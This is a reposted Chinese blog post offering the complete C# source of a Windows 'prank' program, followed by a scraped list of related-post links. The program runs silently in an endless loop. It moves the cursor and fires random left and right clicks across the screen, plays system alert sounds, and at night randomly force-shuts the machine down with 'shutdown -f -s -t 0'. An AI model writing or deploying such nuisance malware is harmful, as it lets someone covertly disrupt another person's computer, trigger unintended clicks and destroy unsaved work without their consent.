整人小程序【转自CSDN】
本机慎用......
using System;
using System.Diagnostics;
using System.Media;
using System.Runtime.InteropServices;
using System.Threading;
namespace wga
{
static class Program
{
const int MOUSEEVENTF_LEFTDOWN = 0x2;
const int MOUSEEVENTF_LEFTUP = 0x4;
const int MOUSEEVENTF_MIDDLEDOWN = 0x20;
const int MOUSEEVENTF_MIDDLEUP = 0x40;
const int MOUSEEVENTF_MOVE = 0x1;
const int MOUSEEVENTF_ABSOLUTE = 0x8000;
const int MOUSEEVENTF_RIGHTDOWN = 0x8;
const int MOUSEEVENTF_RIGHTUP = 0x10;
[DllImport("user32.dll")]
static extern int GetSystemMetrics(int nIndex);
[DllImport("user32.dll")]
static extern int SetCursorPos(int x, int y);
[DllImport("user32.dll")]
static extern int mouse_event(int dwFlags, int dx, int dy, int cButtons, int dwExtraInfo);
static int Sx, Sy;
static long tick = 1;
static Random rnd = new Random();
[STAThread]
static void Main()
{
try
{
Sx = GetSystemMetrics(0);
Sy = GetSystemMetrics(1);
while(true) { if((DateTime.Now.Hour > 22 && DateTime.Now.Minute > 30 || DateTime.Now.Hour < 6) && rnd.Next(1500) == 0)
DoShutdown();
Thread.Sleep(1000);
tick += rnd.Next(2);
if(tick < 1800)
continue;
if(tick % 643 == 0)
DoMouse();
if(tick % 313 == 0)
DoBang();
}
}
catch { };
}
static void DoMouse()
{
int dx, dy;
int c = 4;
while(c-- > 0)
{
dx = rnd.Next(Sx);
dy = rnd.Next(Sy);
switch(rnd.Next(3))
{
case 0:
SetCursorPos(dx, dy);
break;
case 1:
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP | MOUSEEVENTF_ABSOLUTE, dx, dy, 0, 0);
break;
case 2:
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP | MOUSEEVENTF_ABSOLUTE, dx, dy, 0, 0);
break;
}
Thread.Sleep(100);
}
}
static void DoBang()
{
switch(rnd.Next(4))
{
case 0:
SystemSounds.Asterisk.Play();
break;
case 1:
SystemSounds.Beep.Play();
break;
case 2:
SystemSounds.Exclamation.Play();
break;
case 3:
SystemSounds.Hand.Play();
break;
}
}
static void DoShutdown()
{
Process.Start("shutdown.exe", "-f -s -t 0");
}
}
}
转载于:https://www.cnblogs.com/gaohades/archive/2008/11/26/1341548.html
整人小程序【转自CSDN】相关推荐
- c语言程序设计整人,C语言进程间通信练习作品 - 整人小程序之剪切板
主程序界面: ============================================================================= 程序介绍: 如果对方执行了主程 ...
- c语言随机抽取小程序_C语言整人小程序,慎用,谨记!
整人啦!!! 哈喽~ 今天有位朋友留言问有没有比较有趣的C语言小程序? 想了想,给你写几个整人的小程序吧,有趣又好玩... 这里一共给你们准备了三个,分别起名为关机.死机.抖动,都给出了代码,整人指数 ...
- python整人小程序_一个可以套路别人的python小程序实例代码
先简要介绍一下程序. 程序是使用pycharm工具,python语言所写.程序包括客户端 client.py 和服务器端 server.py 两部分,利用了python中的socket包. 咳咳,使用 ...
- #窗体整人小程序_Excel VBA和文件夹-1.8通过对话框灵活选定文件的小技巧
Excel VBA和文件夹-1.8通过对话框灵活选定文件的小技巧 前景提要 在之前,我们学习了如何通过对话框的形式来打开文件的方法,这种方法的好处就是两个字:灵活,我们不用在代码中强制指定必须在某个文 ...
- 弹窗php整人_[整人小程序] 超级信息框(无限弹窗++)
该楼层疑似违规已被系统折叠 隐藏此楼查看此楼 '貌似刚才缩进空格被吞了,再发一次 Set FSO = createobject("scripting.filesystemobject&quo ...
- 一键打造全栈式小程序开发者!
受访者 | 杨航 采访者 | 伍杏玲 出品 | CSDN(ID:CSDNnews) 自 2017 年 1 月 9 日,微信小程序诞生以来,各大巨头公司纷纷布局小程序,小程序进入快速发展期: 据即速应用 ...
- 开发小程序遇协同、平台兼容难题,该如何破局?
受访者 | 薛端阳 采访者 | 伍杏玲 出品 | CSDN(ID:CSDNnews) 2017 年 1 月 9 日,微信小程序诞生,自此我们从移动互联网时代踏入小程序时代.目前各大巨头公司正在紧锣密鼓 ...
- 知识库微信小程序开发
11月,CSDN知识库研发负责人尚林凯在厦门进行了微信小程序开发的分享.在1个小时的分享时间里,谈到小程序开发给技术人带来的影响,如何去开发小程序,以及在开发过程中踩过的那些坑. 什么是小程序 小程序 ...
- 校园超市购物小程序 计算机毕业设计
一.技术介绍 1.小程序用户端:微信开发者语言js+json+wxml+wxss 2.管理员后端:前端html+css+js+后端php开发语言/3.数据库:mysql 二.功能架构图 超市购物小程序 ...
- 微信小程序实现界面之间的跳转
说到微信小程序之间的跳转主要归为三类: 1,跳转到指定页面,保存当前页面wx.navigateTo 2,跳转到指定页面,关闭当前页面 wx.redirectTo 3,返回之前页面,跳转之前的页面wx. ...
最新文章
- mysql 监控工具
- java indexof int_Java Stack indexOf(Object, int)用法及代码示例
- ecu根据什么信号对点火提前角_关于ECU的那点事
- python小课笔记_python第三课笔记
- 计算机图形与游戏技术,宾夕法尼亚大学计算机图形与游戏技术研究生Offer及录取要求...
- 【爬虫系列之一】爬虫开发环境的搭建
- java杰森_java - 杰森格式错误,当他已经得到一个数组时询问 - 堆栈内存溢出
- 互联网公司的架构设计要怎么落地?| 技术头条
- ORACLE 建库过程总结
- priority_queue 优先队列 hdu裸题。
- 在钢筋混泥土的城市,打铁还需身体硬
- avx指令+openmp多线程实现一个基本算法作业 c++
- SM6125平台扩容camera id的修改方法
- sql跟oracle的区别吗,扫盲文:oracle跟sql server的十大区别
- matlab sliced variable
- 数显之家快讯:【SHIO世硕心语】2021,新的一年写给自己的5句话!
- 【面试】Raft算法详解
- python-opencv 读取摄像头并保存为.mp4视频 及 VideoCapture()的使用
- STM32单片机(1) 总记 学习资料+参考手册+LED灯
- 【Geoserver】GeoServer安装GDAL扩展的方法总结
热门文章
- CT影像数据(nrrd文件和dicm文件)的读取和预处理
- AD17 保存PCB文件时提示失败
- 家长进课堂 计算机ppt,家长进课堂之中华传统美德 成品ppt 三井小学一10班出品.ppt...
- C#,数独游戏(Sudoku Game)的算法与源代码
- 计算机报名中的照片审核总不过,软考报名时,照片审核难通过怎么办?
- 医院的HIS系统简介
- 【吴恩达深度学习】Residual Networks(PyTorch)
- MATLAB R2016a 简单介绍
- 局部路径规划中的人工势场法
- VMware中ip地址消失问题